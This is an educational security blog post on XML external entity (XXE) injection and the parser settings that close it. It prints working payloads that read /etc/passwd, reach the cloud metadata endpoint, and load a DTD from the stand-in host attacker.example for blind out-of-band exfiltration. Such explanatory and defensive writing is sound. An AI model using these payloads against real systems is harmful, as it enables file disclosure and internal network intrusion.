Safeguard
Vulnerabilities

XXE Examples: Annotated Payloads and Fixes

Concrete xxe examples showing how a malicious external entity reference reads local files or reaches internal services through an XML parser, and the config change that closes it.

Safeguard Research Team
Research
5 min read

Working through real XXE examples is the fastest way to understand why XML external entity injection keeps appearing on the OWASP Top 10: the vulnerability lives entirely in a parser default that most developers never think to check. An XML document is allowed to declare a "DOCTYPE" with custom entities, and if the parser resolves an external entity reference against the file system or network, the attacker gets a read primitive — or worse — from something as ordinary-looking as a file upload.

What does a basic file-read XXE payload look like?

The classic example declares an external entity pointing at a local file and then references that entity inside the document body:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

If the receiving application parses this XML and echoes any part of the parsed content back to the user — in an error message, a rendered field, an API response — the contents of /etc/passwd (or any file the parser's process can read) come back embedded in that output. The attack works because the parser, by default in many XML libraries, resolves SYSTEM entity references against the local file system without asking whether the calling application intended that.

How does XXE turn into a network-reaching attack, not just a file read?

By pointing the entity at an internal URL instead of a local file:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

This turns XXE into a server-side request forgery (SSRF) primitive: the vulnerable server itself makes the outbound request to an internal address the attacker couldn't reach directly, and depending on what's returned and echoed, an attacker can enumerate internal services, hit cloud metadata endpoints, or probe firewalled infrastructure from a machine that's allowed to reach it.

What's a "blind" XXE, and why is it more common in real findings?

Blind XXE is what happens when the application parses the malicious XML but never echoes anything derived from it back to the attacker — no error message, no reflected content. Exploiting it requires an out-of-band channel: the entity payload points at an attacker-controlled server, and the parser's outbound request to that server (to resolve the entity) confirms the vulnerability exists even without any data coming back directly:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
  %xxe;
]>

Most real-world XXE findings during a security review look like this rather than the tidy file-read example, because production applications rarely echo raw parsed XML back verbatim — but the underlying parser behavior is identical, and with the right DTD technique, data can still be exfiltrated in chunks via subsequent requests to the attacker's server.

What actually fixes XXE, and why isn't input validation enough?

The fix is disabling external entity resolution and DTD processing at the parser configuration level, not filtering input strings. Because the vulnerable behavior is a parser feature, not a data-format flaw, no amount of regex-based input sanitization on the XML string reliably closes it — the safe fix is to disable DOCTYPE declarations entirely where they aren't needed, or explicitly disable external entity and external DTD resolution in the parser's settings. In Java, that means configuring DocumentBuilderFactory (or the equivalent SAXParserFactory) to disable DOCTYPE-DECL, external general entities, and external parameter entities; most other languages' XML libraries expose an equivalent flag. This is exactly the kind of finding that's easy to miss with a version-only scanner, since the vulnerable code isn't a known-bad library version — it's a safe library used with an unsafe default configuration, which is why SAST/DAST analysis that inspects actual parser configuration in code, not just declared dependencies, catches it more reliably.

Where do these payloads actually show up in real applications?

More often than the file-upload scenario people usually picture. Any endpoint that parses XML is a candidate: SOAP-based API integrations, SAML single sign-on assertions (which are XML documents), RSS or Atom feed importers, and file-upload handlers for formats that are secretly XML underneath — SVG images, DOCX and XLSX office documents, and various CAD and configuration file formats all bundle an XML payload inside a format a reviewer might not think to treat as "user-submitted XML" at all. SAML in particular is a recurring source of real-world XXE findings, because identity-provider integrations are exactly the kind of code that gets written once, works, and then isn't revisited for years — long after the parser configuration guidance around it has moved on.

FAQ

Does using a modern XML library automatically protect against XXE?

No — most mainstream XML parsers default to allowing external entity resolution for backward compatibility, which means the vulnerability is about configuration, not library choice. The fix has to be applied explicitly regardless of which parser a project uses.

Is XXE still relevant if an application uses JSON instead of XML?

Directly, no — but many applications that appear JSON-first still accept XML somewhere (SOAP integrations, SVG or DOCX file uploads, legacy API endpoints), and any of those paths carries the same risk if the parser isn't hardened.

Can XXE lead to full remote code execution, or is it limited to reading data?

Its most common impact is file disclosure and SSRF, but in specific environments — certain PHP configurations with particular wrapper support, for instance — chained XXE techniques have been shown to escalate further; the severity depends heavily on the parser, language runtime, and what the application does with the parsed result.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.